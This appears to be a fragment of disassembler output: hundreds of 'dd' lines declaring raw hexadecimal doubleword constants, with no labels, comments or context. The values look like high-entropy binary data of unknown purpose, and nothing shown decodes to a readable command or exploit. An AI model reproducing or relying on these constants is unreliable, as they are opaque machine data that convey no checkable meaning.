		dd 23CC3ACDh, 1847CA8h,	66515EDAh, 0FC913C78h, 0DD01C217h
		dd 497973E7h, 0E9F4D34Bh, 57810054h, 0A61D5EEAh, 0D0A82912h
		dd 760BEF69h, 20B6369Bh, 0C707E1B4h, 480C00Ch, 15356212h
		dd 56A0ED00h, 81EE5D8Ch, 836D0075h, 485F495Ch, 4BF47F16h
		dd 8000ADFAh, 15CB5D94h, 614DF0ABh, 0C66C48CCh,	0B914606Ah
		dd 73CDE500h, 55ED5E10h, 0AFBE0757h, 7076B580h,	0F5916531h
		dd 90BA6400h, 0D52697E4h, 30B4003Ch, 0E4FD171h,	4D03E09Bh
		dd 8C89A307h, 93FFD02Eh, 538F00CBh, 0BD9A23ADh,	2B07A9DFh
		dd 90027B73h, 44407471h, 42E090F7h, 5281009Eh, 8F92B419h
		dd 0E33A0954h, 0A799876Dh, 9BD03D2Fh, 3571F50h,	4F1603B0h
		dd 54EFFB51h, 96E080E0h, 0E90F447Bh, 40D6657Ah,	9B538670h
		dd 9F23Ch, 448771EEh, 0DC83AE90h, 681BF00h, 703813DAh
		dd 428E00DDh, 8945406Bh, 0B10E9861h, 812CE19Fh,	0A1FB5C47h
		dd 585030h, 0C33F8B75h,	19DCC8A9h, 0B44C667Eh, 1E2C5893h
		dd 0AF40A813h, 9CB38877h, 0A76A009Fh, 347F0ADh,	1807788Ch
		dd 0FA83C1BAh, 989340CFh, 123481DCh, 4032B7h, 0B3B11460h
		dd 4E07CEE3h, 0E443336Ch, 3E6910D0h, 2D8A0008h,	0EC58C2BFh
		dd 0EE004C57h, 8765D290h, 0A3DBA1h, 0B02E258Bh,	0E3E83028h
		dd 0FAFF1100h, 0ABA99C3Ah, 0A53D00B1h, 0C9BAFDD8h, 0C71D7A67h
		dd 28404DA4h, 0B451B9BCh, 0DFC0CDDh, 5D80ADD6h,	0C4953900h
		dd 9B9715A8h, 562E3E37h, 74A6063Ah, 0CE5300ADh,	275258A3h
		dd 0A6D19800h, 4593E8CFh, 0CA88002Bh, 2C592632h, 42713474h
		dd 556FBA00h, 9B9599C6h, 0C1C5007Ah, 81AC9466h,	0CE009714h
		dd 4832EB63h, 889B5Bh, 0B7922690h, 0C8E96CBDh, 0D7A32200h
		dd 0E88EF197h, 5C4F0032h, 951109Ch, 2BB02070h, 4D7A681Ch
		dd 8E247440h, 32FA48A6h, 2C3086A2h, 0E9008C58h,	5C27AA6Ch
		dd 0BEB2CEh, 0A8F2A12Dh, 0DE7E506h, 565A6207h, 0BF80269Dh
		dd 3ABEB5h, 2C379F31h, 7C05FA4Ah, 0A304EB00h, 0E220CCB3h
		dd 0AEA83B2Bh, 844CB580h, 8E0164B7h, 0A9316007h, 0E3271253h
		dd 49984962h, 0E7C83BECh, 0E0010081h, 0B2D9A90Dh, 7200D0BCh
		dd 849A0A0Eh, 0D44144h,	0BE815015h, 4FBDB20Fh, 95FB5200h
		dd 71DFBC6Eh, 0CE3E77DEh, 86A07718h, 9160A58Ch,	3651A400h
		dd 0BC29BBE0h, 715E07F2h, 0D00330DBh, 0BEC83A57h, 61BDE500h
		dd 0D64E1ED3h, 7D5000A9h, 643E5C6Bh, 821D88B4h,	8002318h
		dd 567F43C9h, 0FC1700D1h, 447872F6h, 0AEE60721h, 1E0D3C00h
		dd 0E152C7D6h, 0B3730062h, 0F54B8565h, 7F003B3Fh, 2AC80E82h
		dd 2E749E8Fh, 1F3056C0h, 77D84041h, 857DD357h, 9A4B3600h
		dd 7CEB6D61h, 4C3F0284h, 915B7E8Fh, 16F0F463h, 6A002E67h
		dd 60D43722h, 53FFDAh, 5C5F2A2Dh, 45C7BDACh, 0C12C3EF6h
		dd 0C94020AAh, 2CE9288Dh, 8E545B64h, 2E00B82Ch,	2451C53Ch
		dd 80273D3Ch, 72F77FB6h, 55927Eh, 8D75506Ah, 97E718BCh
		dd 0FF284003h, 0A0E0C5A7h, 0B9F3DAh, 658C6AA5h,	0F8D359D9h
		dd 6032Dh, 0F3C9E2C8h, 94363E5Dh, 7111997h, 50CE2885h
		dd 0D9F1EA10h, 0E800A67Bh, 0CC3682A1h, 900D18F0h, 0E10A7FECh
		dd 856E2h, 35AECD2Eh, 9690A938h, 0E96904A0h, 0AAF0F600h
		dd 53BE03F4h, 0C9F71319h, 0D6630073h, 0E84C2676h, 4040635Fh
		dd 35F3AB7h, 0DBD103CFh, 15962C79h, 0A11B44A0h,	3C096214h
		dd 1F5048ACh, 0C98067A3h, 575ECCB9h, 5B7B0Bh, 7433B813h
		dd 7617E0AEh, 36E0425Fh, 1B13C71h, 52D65480h, 3BFDA98Dh
		dd 214861F6h, 64500078h, 0E779D5EAh, 83F20741h,	7744BB7Dh
		dd 7F5E1086h, 2A00E805h, 6B242153h, 6FC414h, 2DA4DDCBh
		dd 983BB37Ah, 0D866A12Eh, 12D18805h, 0A33E6080h, 8DA803AFh
		dd 0E6C63F2h, 7ACA30D7h, 22C6173h, 1D1DDA1Ah, 69F1CB00h
		dd 7B3F5F7h, 0AA198CE0h, 9A04E082h, 74F0F41Ch, 2007C878h
		dd 0F8D7BC5Ch, 0B1140683h, 2BF0BADBh, 18349EB0h, 0B9E59122h
		dd 4B4A3C00h, 98DE8AD0h, 2512009Eh, 22638F80h, 9600289Ah
		dd 6C150EA1h, 0E69F2Eh,	0C548C0B9h, 0A85A1D63h,	2589AB01h
		dd 0F391B1D3h, 3C7628F4h
		dd 9814C453h, 7A00CAF0h, 2FD8D3F7h, 0AB008D79h,	0A2E40408h
		dd 0FAC5035Eh, 37510EE2h, 266EE1A0h, 0F968B3A3h, 1663D980h
		dd 21B0E67Dh, 94581190h, 0AA050000h, 55C3C267h,	1D897BE8h
		dd 40852693h, 3D9D45B1h, 6CFCDE7Eh, 806A543Dh, 9298C6FEh
		dd 1AB88B8h, 4FF20FC1h,	80500BC9h, 2BBBED22h, 308F31Eh
		dd 1CFF6E21h, 1DAF661h,	5F072058h, 4107C0B8h, 8DF18099h
		dd 3D33BB5h, 9192D057h,	0D8B07397h, 4F00A895h, 25438775h
		dd 7BA3C4h, 38B8694Bh, 0CE7A8808h, 0E2746E00h, 26FB0E3Ch
		dd 187728A0h, 75C9C9Fh,	0E41061CDh, 1680AB8Ah, 0EE573A56h
		dd 0E44E2535h, 1DD068A0h, 660727DDh, 46318251h,	61418547h
		dd 1CE73570h, 6439C648h, 8A03BCD0h, 787DA28Bh, 1ED641AFh
		dd 77719DDDh, 0FC8C7540h, 403AAEh, 6460EF4Eh, 276CA659h
		dd 2DED0E38h, 3ED870h, 383991B7h, 1CCDC1C9h, 54CF780Eh
		dd 20A26E45h, 39DAB6D0h, 783CA026h, 8EFAF2h, 11677B8h
		dd 75B5586Bh, 0EF15A478h, 67CB4D4h, 0D38A55CFh,	7EC240A8h
		dd 831AE600h, 0CB47316Eh, 266D0064h, 0E3CF35C8h, 21E8C2BBh
		dd 8C02B92Ah, 79C50D00h, 0A1B3DD92h, 0B0D23928h, 0AD60C374h
		dd 29005A38h, 731C424Ch, 2F9FF82Fh, 0E803E121h,	9001869h
		dd 6CB350CDh, 0E2AF73F1h, 54880003h, 0A42723D2h, 46009459h
		dd 1CF2A395h, 1EFD6A8h,	2588910Ch, 800F27ACh, 8285D169h
		dd 171452Dh, 5F26621h, 0BD5911F9h, 0B65D8721h, 8A40C470h
		dd 1DDE0BDh, 0CC5CCBF4h, 0CC6D39AFh, 870053B6h,	25C02494h
		dd 17D0AA78h, 22D15D1h,	8D630366h, 0DD6CF8A0h, 3A0366ABh
		dd 9E1CF138h, 0B84AB3F4h, 0D56568h, 62F263EFh, 0DDC2690Eh
		dd 89461130h, 3E1A885h,	0FA47B025h, 0D08809A4h,	8E0033D5h
		dd 9F0FA0FFh, 302737FCh, 5110EE0Ah, 0B600D61Ch,	0B4C1B7Dh
		dd 0E84F4094h, 3821C029h, 0D4A70753h, 3B441003h, 0E17ACC56h
		dd 0FBC3EEF1h, 5E2900F2h, 7D3D9294h, 82016A4Dh,	7798EFC0h
		dd 2080901Eh, 0C14979F1h, 190014B1h, 0F7B0FC47h, 761E207h
		dd 2C932C7h, 0C4E170E8h, 0F3006C7Eh, 798F6814h,	545247h
		dd 2AA87FBh, 0E7E9B04h,	842D80C0h, 0CF3CB85h, 0A3491DCCh
		dd 52025C68h, 0EC1811CDh, 40394279h, 7059DA2Fh,	6FBF0E1h
		dd 0DF6B9C3h, 0A07549AFh, 74C1620Eh, 8B638FD3h,	3039F0DCh
		dd 4E20F673h, 7703CEA4h, 0BE833C93h, 7018E932h,	0C5657670h
		dd 40CB9B79h, 27C4368Ch, 0CE007859h, 296B22A5h,	0E921FECAh
		dd 1C89C0FBh, 2F490C15h, 0EF60F74Bh, 25D27600h,	7AA99B7Bh
		dd 1F6E0081h, 0BA7D534Eh, 0C007CF55h, 16A69804h, 0CCA30AE0h
		dd 94C10012h, 0FA48983h, 89C04E20h, 5ACFDDEEh, 90FE0064h
		dd 86AA15F2h, 0E0FF5C3h, 0F333C52h, 0EDC75D7h, 1D5C7B12h
		dd 7C20A214h, 149CF224h, 328465Eh, 4676D1D5h, 34492430h
		dd 0AB9D4010h, 0DF7CADC9h, 0B517D20Eh, 781A41E4h, 0F0405E32h
		dd 125CDBB9h, 1FFCFF1h,	337EFCC4h, 745C2456h, 0EE2FFE00h
		dd 0D6CBAB05h, 0CA6F00F9h, 0CD9181B2h, 9C03E1DAh, 18F8637Fh
		dd 0FD1FA9A0h, 4E3C24h,	176ECA4Bh, 315AA6Ch, 48086D66h
		dd 90AE1EF1h, 0D29CCEh,	8269042Ah, 0C0089D4h, 0D1F86815h
		dd 0EC58C1FEh, 92CA0979h, 2002A0FCh, 9018BB27h,	0D92608C3h
		dd 3B666092h, 7A480021h, 76DDC6C1h, 550AFED6h, 20796BF4h
		dd 76D14829h, 721DAD18h, 1BCF5391h, 0D8073F7Dh,	371762FDh
		dd 593F94D0h, 0D91406CCh, 184EE9B8h, 8B460090h,	4AD50801h
		dd 0C423B7Eh, 0C54882Dh, 8B6D0400h, 376C30A6h, 1F21E2C3h
		dd 7372C47Ch, 66803A60h, 8605FE5h, 23C05D10h, 561200B2h
		dd 704E574Fh, 6400E1A1h, 0EDAFD7Fh, 1229E5CEh, 12A3FAF8h
		dd 24E80096h, 0E98140ABh, 9D343800h, 59E8CB3Eh,	21620044h
		dd 4D47415Eh, 20E8A9D5h, 0DE78800Fh, 0B69EE0BCh, 3160895h
		dd 0D9405B43h, 4DE0398Ah, 5A000627h, 66982080h,	512C1h
		dd 0EDBF42Eh, 0A3D7881Bh, 80D3E238h, 0DF7FD4CAh, 0E2C89D48h
		dd 9E603C6Ch, 0B8311800h, 0EF017E07h, 0CEB658h,	0C0421CE6h
		dd 3A126A46h, 0E3009C70h, 0C73FFB1Eh, 7B00C18Dh, 4A231D1Bh
		dd 0E526D4h, 181EE935h,	75AA9E74h, 405EB700h, 37D29F4h
		dd 90BB14D2h, 0E002EF8Bh, 0BACF4F33h, 1FAB8DC0h, 0F8254801h
		dd 6BE30181h, 3C333AE4h, 398FCE08h, 8E818FA0h, 0DC1EE4B2h
		dd 2131795Ch, 0A4C67115h, 24FF3830h, 19F4B0C1h,	80FE08C0h
		dd 298CA621h, 7096A63h,	7F0AA33Eh, 8360CD8Ah, 0B035E620h
		dd 1C087806h, 80B34318h, 0DE6373BDh, 7C30BFEFh,	0E48FA8EDh
		dd 2F0E3030h, 0D279D539h, 9AFA538h, 8EDCFAFDh, 0E2989D44h
		dd 52C320h, 260E6CD2h, 5379F4B3h, 0FFA91700h, 3B5FEFD4h
		dd 59166449h, 0D2AE6031h, 38AF23A4h, 0C800F111h, 669ED2A3h
		dd 0C939D463h, 17A48144h, 10E86452h, 544B1081h,	706B855Bh
		dd 57034148h, 67782BE2h, 46F0C71Dh, 0E69B2B0h, 0C3F0FAC4h
		dd 506A7F67h, 0BC673F16h, 64031F14h, 80A8BF04h,	2D6BA60Fh
		dd 0F8BBC016h, 0C6B10A17h, 29F3DB20h, 75A08000h, 7FF948BFh
		dd 0CBB01F1Ch, 5605C55Eh, 168A8007h, 50C07BE7h,	4A3FF8Ah
		dd 0EFB50013h, 7520AE85h, 7A00C083h, 1BDFDCC6h,	91348403h
		dd 48AF007Ch, 714ECB3h,	49FE1137h, 0DE352680h, 820D0044h
		dd 3EB8A310h, 8900E112h, 7356F09Eh, 0C013162Bh,	9B82CC31h
		dd 3101DACFh, 342DEBABh, 0F1C86FDDh, 0A2D900E7h, 0D18FCD2Ah
		dd 0FB180732h, 71817A66h, 6B18CE2Bh, 14A48580h,	0DE15F8C5h
		dd 8088DDh, 49BBD0DBh, 0EC1B839Ah, 7CC80034h, 3D0F5E67h
		dd 9703F28Ah, 0D3D12666h, 159EE37h, 0FCD69FF1h,	0EC628FA9h
		dd 46005DE2h, 586C2250h, 60114C8Dh, 3DCC888Ah, 400809Fh
		dd 75931445h, 0A06B8E1Dh, 0AB1E094Ch, 0C1986ED8h, 5800A89Ah
		dd 0B03C5476h, 8866F82Ah, 0A3440300h, 246F4084h, 6BA71F69h
		dd 4901D936h, 1480D27Bh, 4282FB1Ch, 0B901C8A4h,	0E3720FD2h
		dd 684018C2h, 61ACCAh, 769EA56Dh, 0B9D85DEBh, 0C9068600h
		dd 16A26442h, 997B006Eh, 197C8288h, 500CC8E4h, 0C1FED445h
		dd 0BD4C3E58h, 8AA8D183h, 70E05E5Bh, 3D000694h,	0CD564D38h
		dd 6EB6C8h, 67F39E96h, 0C90E1FE8h, 0BDDA8A15h, 85DC01C8h
		dd 4375EC41h, 3A3B9260h, 8A30F702h, 403DF621h, 0FF18F9EAh
		dd 0A0C16B06h, 840D00D6h, 0E71A6DB8h, 0E600E2D0h, 704B5A25h
		dd 1B2298h, 0EEE91949h,	0E59FB53Ch, 0B8008573h,	0CAC8E13Fh
		dd 1C998FBFh, 2A07C142h, 5BE302A0h, 2F966976h, 27FF0040h
		dd 0C4EE08CAh, 76ED5480h, 183504DFh, 19F94C82h,	0A50058A3h
		dd 83F73DBAh, 628B76Eh,	0DA12B585h, 0E848C984h,	9A7C006Fh
		dd 0CFD0DE04h, 0D96900AEh, 2F4523Dh, 0AD2BB3ABh, 400D866h
		dd 404E3F97h, 16BF18AEh, 0D80671CDh, 0E1E94200h, 4B01D25Bh
		dd 3EE41F39h, 8362C0AEh, 0FB249BFh, 0B4E5CC29h,	0A076B80Fh
		dd 206C6E6h, 3650038Ch,	115B3321h, 528040C5h, 0C0880BC1h
		dd 18AE53Fh, 55F8596Bh,	252141E8h, 249C8FDAh, 0B8897278h
		dd 0A010E861h, 51E98E3Fh, 8EE25832h, 6691C0BCh,	18CB1A62h
		dd 91DAD850h, 0A60012A9h, 95FCF1C4h, 33089A89h,	0ACC68C7Fh
		dd 37EAA5D8h, 1B697060h, 59F2A8h, 0F75653EDh, 228E1E23h
		dd 0B51FB00h, 6AA39966h, 46309206h, 41A6028Fh, 313B7415h
		dd 3EFB1080h, 0EF6B0F40h
		dd 0D9149F8h, 0D9F00971h, 0C42214F1h, 0C320B224h, 1900713Eh
		dd 7DA5897Ah, 0A087F72Ch, 712A18CDh, 0F82249CCh, 0C3E1C13h
		dd 0BC113F04h, 37FE6E00h, 0A5C1D9D0h, 7C1D0465h, 0C05086E9h
		dd 1316EFC4h, 149B688h,	0F5E84ECEh, 0E4BA4384h,	0B900F9EAh
		dd 78B58D98h, 98470299h, 0B0B86EFCh, 0AE711591h, 12172164h
		dd 185F1E41h, 8BDB1121h, 0E46D88A9h, 9C00B1EAh,	2B9796A2h
		dd 61C5E1h, 0BE227C8Ah,	0A6837114h, 0F24DC48h, 41C10744h
		dd 99632DF6h, 37481030h, 39707A7Ch, 18091419h, 4D821832h
		dd 3CD391CFh, 0CC3DCD09h, 0CAC08792h, 89691840h, 5B74002Ah
		dd 3EBD44F4h, 51C04C37h, 0A78CC384h, 33C21CFDh,	8CCD997h
		dd 0F821B82Dh, 0C9A88C18h, 5352BD6Eh, 1507A8D6h, 40FADF28h
		dd 0D8EEC28Ah, 2F1DD100h, 372CF21Bh, 17E0978h, 2430D0C9h
		dd 0E2084E97h, 64F71374h, 8FFC4084h, 9304C40h, 0B4A5B069h
		dd 44E58000h, 2D26595Bh, 0A909A436h, 0CBD0B018h, 0E00758E3h
		dd 80E5A580h, 7A06E90Dh, 66C3B0BFh, 3D640429h, 0C7906FA4h
		dd 3071010Ch, 0D9A857D6h, 4E0E6480h, 0F64DD47Ah, 76FE00B4h
		dd 0C9D39182h, 32970003h, 0BF793674h, 4C3ED43Dh, 87406914h
		dd 3A917CA4h, 388316FEh, 0C2AC7A3Dh, 301979B9h,	90602AE2h
		dd 0A5464149h, 18090E4h, 3CBBF985h, 40AD928Eh, 0F5873718h
		dd 4E0DB3E6h, 0C0BB7004h, 0E41C0h, 58236FEEh, 92F02AC3h
		dd 0FC97EF00h, 8901D846h, 992B128Ah, 0E52C00BBh, 730FBC9h
		dd 72DFE700h, 0F992B214h, 4D0A0696h, 0B9BFB57Ch, 1FCA649h
		dd 2943F4FEh, 9C42B35Dh, 0F0D520BBh, 0B96A3351h, 7809BC11h
		dd 49A20ED9h, 83540273h, 0AE442071h, 5B02A1E8h,	0E201B41Ch
		dd 5C44D5h, 0C6A799FFh,	0B03E8476h, 0D4554E2Ch,	31596018h
		dd 93A70FA5h, 3934A43h,	0B75137C6h, 8A1B5900h, 0C27B8024h
		dd 21E726CDh, 0CC0E8404h, 37FC8C7Dh, 5E114D00h,	0AA66C2B3h
		dd 50427073h, 492FC9Ah,	0CF1B7B79h, 114C8053h, 0C905029Bh
		dd 87C14CB2h, 7AF805C6h, 29BF287Ch, 5DD330E8h, 0EA83B1C1h
		dd 0E2B08F50h, 0F0BE551Eh, 73C89383h, 9B18B6BDh, 2F82638h
		dd 0CD6D31F8h, 808AF881h, 2803CB82h, 0B5090F14h, 93C8E871h
		dd 1884FBFEh, 0A3187623h, 783D8050h, 30770756h,	58D87AC2h
		dd 2580E6D3h, 2450B089h, 34E3BEh, 944FC8E5h, 1849939Eh
		dd 21DD182Ch, 994C31h, 4289785Bh, 148E0FB9h, 38F47730h
		dd 90EDF5A1h, 287454A0h, 0D16730CDh, 0E7CC1F19h, 73037899h
		dd 3A361BF1h, 0B838FCA9h, 8D006053h, 783F9C9Fh,	0A8C4F524h
		dd 9700E6B6h, 793052AFh, 73E290A8h, 437CA400h, 9F896F4Ch
		dd 8D48A03Fh, 757B2994h, 84563C7Ch, 64203625h, 12D27444h
		dd 218CB69h, 0A1EFBEF0h, 36244D84h, 623B0824h, 0ED0C90F1h
		dd 87318110h, 0EE2248B1h, 70777D01h, 38C0EC96h,	3F0FA171h
		dd 897AC461h, 1E8F834Ah, 5C928102h, 8073CCD1h, 87AEE218h
		dd 6D9F1CE1h, 50A7143Ah, 1CD2BD14h, 0B3CF7D00h,	47993FC8h
		dd 9833F430h, 2A4CE574h, 0EC9CF00Fh, 0AE6700D2h, 89BB14CCh
		dd 0D49ACA53h, 0F2A0C57Ch, 0B903411Dh, 0D40CC1C8h, 4CD07810h
		dd 3F0C8425h, 68107DD5h, 89A10E00h, 757094C0h, 4C9E14D3h
		dd 9440343Fh, 0E5C1C07Dh, 0FB0E7496h, 282A49F2h, 0F880A00Fh
		dd 7318432Fh, 8E11153Fh, 0DF171718h, 16C046CBh,	0AE02A1FBh
		dd 0EB22DAD3h, 78C84001h, 84FD54A1h, 940A073Dh,	41037571h
		dd 302C48E4h, 77053B80h, 0A33070BFh, 0BE4E9492h, 7D6D4040h
		dd 408EBDF2h, 391641F3h, 2C40DA1Eh, 0F1FEE7C3h,	3C642601h
		dd 62ACA034h, 0A6EE21DFh, 0F310548Ch, 90208269h, 48CAE2C8h
		dd 0E51844F9h, 7D444026h, 71034F7Ah, 12837B49h,	0FBB004E2h
		dd 0C8CB1931h, 0ED503810h, 0FA42350Ch, 84EC6910h, 7099585h
		dd 0F1813C48h, 8F1CDF7Fh, 20033C58h, 8B4EFEE2h,	548185FFh
		dd 9C2CA08Ch, 82397A8Dh, 3C7497A0h, 94C5961h, 550058D5h
		dd 50EBF909h, 4915C900h, 0F85BE4D8h, 0CDC412E9h, 0AF30D2CCh
		dd 0E3E55CE0h, 0CE4ADA00h, 68BF9033h, 0D24E0029h, 0E7D38269h
		dd 0A4041B5Bh, 0C2D09F65h, 12ABCB0h, 0EB1A9EAAh, 71C3B670h
		dd 0FFA8FCE8h, 3B4C6700h, 0B41D1EB0h, 6BA20F4Bh, 666003A1h
		dd 0CD47C1BDh, 483E9A00h, 194F68C2h, 763B2667h,	0FE7428DCh
		dd 0F80B509Eh, 6DA31C43h, 7569C0E2h, 0BAC216E1h, 8E2E7604h
		dd 80EEB381h, 104DBE64h, 99C1A21Fh, 0DF2D0940h,	2C3FE8h
		dd 7176B39h, 0F6575548h, 0D60ABD0Ch, 1DAB2076h,	1D6B3E97h
		dd 0E1550E78h, 0C18CC480h, 4E0275FFh, 691708A8h, 3C0F7Eh
		dd 0ECBAF1B8h, 0E46F8A2Fh, 9541B809h, 4EB80118h, 0DC088F60h
		dd 0AF1F43Ah, 6323BD18h, 7EC6A888h, 0A080C04Ch,	92B31F55h
		dd 0DE6080E9h, 0E9236C7Ch, 178D724Ch, 0C8FA6B1h, 53200EA7h
		dd 0B36CA307h, 809FBFB4h, 66F6F110h, 7BBB1887h,	0D6746061h
		dd 501C6A00h, 2AA1FE8Dh, 0D20400A5h, 680E3D16h,	28EE42A3h
		dd 85F42C01h, 6C44F1B2h, 177F93C0h, 0F34D6C8h, 12408AF9h
		dd 0C74C995Dh, 85B1BA00h, 8B2BCFDh, 0A0EE30h, 82F69C46h
		dd 95D7DD5Eh, 741AAB03h, 986CF92Ch, 100E0Bh, 41222A6Bh
		dd 0FDC644D8h, 0B23D5300h, 79AAAC47h, 0A7001C1h, 6E69B118h
		dd 0A5033092h, 770FCA72h, 0E093A399h, 5D2A7FD3h, 0C3E30014h
		dd 0D2D8F09Dh, 88768685h, 99000578h, 4478A9C4h,	22841FEh
		dd 306DE49Fh, 0DC40E5ABh, 8B008702h, 0C545DC48h, 6C4FF44h
		dd 19AA3D9Dh, 0B6601892h, 4EBCE59h, 0E73A097Bh,	0C38C1A26h
		dd 0E002720h, 0C160EDBCh, 3F1C7B4h, 2F62389Eh, 580E4C6Eh
		dd 0A1DA1757h, 0C558E315h, 7F0351BEh, 0D76304Bh, 82CE9AC9h
		dd 0E0981918h, 0B6C6608Ch, 0A9E477h, 0EB3454ABh, 532BEF1Bh
		dd 0B7A71A14h, 70BC30A6h, 0AB08E6h, 46E43E77h, 0D109E90Bh
		dd 0B054730Fh, 0C1928C89h, 9D4C0004h, 9A499B74h, 0B1604B71h
		dd 519C09D9h, 108B6FD9h, 9B3810E0h, 5A3E1240h, 0BC037BCFh
		dd 639C371Dh, 0AF401D25h, 0DFE2C06Eh, 3BED5C24h, 4F983D00h
		dd 4B4A4623h, 55B20A54h, 1E832050h, 8A3F8590h, 2046BECh
		dd 4C7FBD14h, 55033418h, 305C3E0Eh, 0B035A001h,	0C49A1010h
		dd 8AC00B1h, 4A961295h,	0FE1D1966h, 87B339B2h, 7DF6DC08h
		dd 81198586h, 89F0DB20h, 0BC860008h, 0BF18CB97h, 0D0D04DCFh
		dd 33506504h, 4CC0180Ah, 0A669F49Bh, 18A0D978h,	161C53FFh
		dd 0E610C161h, 5059EB75h, 80181016h, 683B7E60h,	6C0C1079h
		dd 4B0A0669h, 9C92951Ah, 0C9D2F48Ch, 9109CADDh,	32FE601Ch
		dd 133A7576h, 280C523Dh, 67283439h, 98654C0Ah, 4037F520h
		dd 9D58508Ah, 3F28008Ah, 6D9478C0h, 0E21124A2h,	4C188BEAh
		dd 0FC030823h, 2EF83750h, 0F4FC3652h, 0FDAC042Fh, 4DC9061Fh
		dd 0B437E40Ah, 0EE7E0140h, 2430011Eh, 0EA839FB3h, 17E2CBFEh
		dd 1FC9310h, 115248FBh,	0B2C3EEh, 66C1345Bh, 58F93831h
		dd 0E20BD72h, 97B11819h, 64CD49F6h, 546B603h, 8088697Dh
		dd 60CB7484h, 0D3261D8h, 0F24B899h, 38009803h, 0E22357Ah
		dd 1AEA06F8h, 68333AC4h, 0BEB66E18h, 838149h, 0CCCEB788h
		dd 2477F48Fh, 483A037Fh, 74E80205h, 633B9CD2h, 53A00CEDh
		dd 39A9FE34h, 0B225F118h, 5C0FFA08h, 0BC3FB455h, 1C98362Ah
		dd 32BE48CCh, 0B4E1B950h, 44D8E32Ah, 660077C7h,	6B4A6CEEh
		dd 70D60287h, 37580008h
		dd 0B6EC90CDh, 5703DF11h, 8D9A29DEh, 0BDD9012Ah, 0C660CDB4h
		dd 0C8C40E9h, 0E9C14172h, 0BA29FE74h, 78DF80D0h, 8813607Bh
		dd 163D033Ah, 3253860Fh, 0B0141Ch, 89550280h, 0C01AB97Bh
		dd 0D848F828h, 11C0DE4Ch, 3FA50CCh, 0F5991D91h,	0A019407Ah
		dd 70FE2683h, 0C327BB06h, 31994CDFh, 0F6E0827Fh, 7AC0D383h
		dd 0F079A7Dh, 967E036Eh, 0F4563E00h, 0E4410111h, 0A2EE1E87h
		dd 2821BF0Eh, 3718B017h, 5EA13BB1h, 0B0BF5022h,	9DACA02Bh
		dd 0EC1F8123h, 0DF7865C6h, 8BD67700h, 0EECABBECh, 572C92CFh
		dd 1060A853h, 3824DC02h, 45128BF0h, 3823FAE7h, 93C10237h
		dd 6A1C053Ah, 0EE7DB896h, 322D4486h, 0A34A20h, 23083934h
		dd 0E6FF97BFh, 751FE11Ch, 7E051B40h, 0CA3551Ch,	0D136CADEh
		dd 0CE006E79h, 37BBE650h, 0C029DFC5h, 414872D0h, 8B1C5510h
		dd 7B9E9B53h, 0ECA00F03h, 25C80042h, 0CAD420F5h, 0EB012AD1h
		dd 32166A0Ch, 50208A06h, 0FC77506Dh, 988B16B8h,	185000F2h
		dd 3DEE10F8h, 0D7F9C892h, 74B8E040h, 0FF307561h, 0CDC420A6h
		dd 291968C1h, 6FE404D8h, 0EF0AAA98h, 0C2538C89h, 7BE60016h
		dd 468223E1h, 91F6300Ch, 3B823D31h, 1218FE48h, 30711935h
		dd 0A9946098h, 0C2058873h, 874F019h, 0EE05234Ch, 6009B2BCh
		dd 0CEC82694h, 73CA0029h, 6763615h, 0E2004A55h,	0E6819837h
		dd 90B02CCDh, 0D9076710h, 3BE5A090h, 1828BBD7h,	21374820h
		dd 478828B3h, 557272E5h, 249848E8h, 9915157Bh, 39587FB6h
		dd 64D1BA07h, 3167DA90h, 2011FE78h, 1C01A6E4h, 9F90D34Ah
		dd 8083CFE5h, 11F70237h, 913A90A7h, 75123D8Eh, 8C071698h
		dd 803B0919h, 887FFD97h, 7A5B2699h, 8106B878h, 71ACA7C4h
		dd 0EC7EE914h, 915A21B0h, 0B1B936E8h, 25F61288h, 85802317h
		dd 0BB4A80A0h, 0E2F03B60h, 24BFB7h, 92988C61h, 0D5F6F4E6h
		dd 0F2C1CA15h, 0AD00FC0h, 0D4201710h, 5E6A398h,	40F814Dh
		dd 0B6B44785h, 43CC40D7h, 81C0B0FDh, 1239BA37h,	6E29F0B1h
		dd 0CB807924h, 0DE05C07Ah, 0C12F7B35h, 1CCC800h, 733D904Bh
		dd 94ECF1E5h, 34DE0FAFh, 549D43F5h, 1B2AC8F9h, 0A01D0098h
		dd 38DA5AEEh, 551382CAh, 0FC002737h, 263BB678h,	0FF4000EBh
		dd 23D12047h, 4538954Ah, 822B004Eh, 0E672F1AAh,	50B200E2h
		dd 7D143E35h, 0AD1F10D3h, 0A20056B6h, 710B8A54h, 0AB570073h
		dd 9833462Dh, 0E7907B7Dh, 9898B070h, 6687549h, 1D3905B9h
		dd 9FA200D0h, 54B7A324h, 0C0A81035h, 1E01C130h,	32AF1A6Fh
		dd 64C00D42h, 4C110058h, 0F9A379CBh, 490201DAh,	0E8BBDEAEh
		dd 7BE48240h, 0FDF49014h, 0B4372664h, 6C969F64h, 113D18D0h
		dd 8300DBECh, 574AF5A0h, 74D20AF6h, 412C6056h, 92838229h
		dd 61DF0939h, 93ABB3A0h, 0B0FA4AD0h, 0BF453994h, 1253EB07h
		dd 0CC89707Eh, 107B66Ch, 68EAF0DEh, 81079540h, 5BE7818h
		dd 5659966h, 0E0FC27FBh, 0E0B2D6FDh, 8688FF00h,	0EA513534h
		dd 25A42855h, 0FE3730D0h, 0AF36A91h, 0BD5E2C3Ah, 0F5950996h
		dd 6130726h, 4E4CA450h,	0EAB60093h, 0E2B83E6Dh,	0A178D349h
		dd 0FEEC9200h, 0F179773Ah, 0DA8A0448h, 901F7C8Fh, 93B24AE8h
		dd 62FCAD04h, 0EC88546Fh, 0D13007F1h, 20D2A942h, 0EBC3EF92h
		dd 0EE65F801h, 7587387Eh, 54359B24h, 127DC15h, 0DBE0C513h
		dd 0C04A7BBAh, 720990E1h, 8F5646Ch, 3100D490h, 0E9D6CA42h
		dd 0A94D01F8h, 3AAE76B8h, 0A1E4508Fh, 88035DE7h, 0AA4D413Bh
		dd 9DA824B1h, 32125Ch, 998E6428h, 6F0702F3h, 0ECB28123h
		dd 872B7D80h, 90B0A3FCh, 5386CD1Ch, 0A884204Ch,	0BD7C60EDh
		dd 0A81BE686h, 0CBB88Ch, 1E960436h, 0F64548DAh,	24F7A974h
		dd 0D300C7F8h, 1410E50Dh, 49FAB5Bh, 88776980h, 0DF24C82Ah
		dd 1C581900h, 0B6B8917Bh, 0E8017B80h, 8C21C0CBh, 6D495811h
		dd 9F09CC03h, 496EEC5h,	0C212FFF8h, 60588D32h, 0F512B2CCh
		dd 583256DAh, 88372045h, 28071283h, 0AB408B04h,	0A04D4263h
		dd 9F39F45h, 0A05DECE9h, 0C8CA2C22h, 0C5764C20h, 0F65112C1h
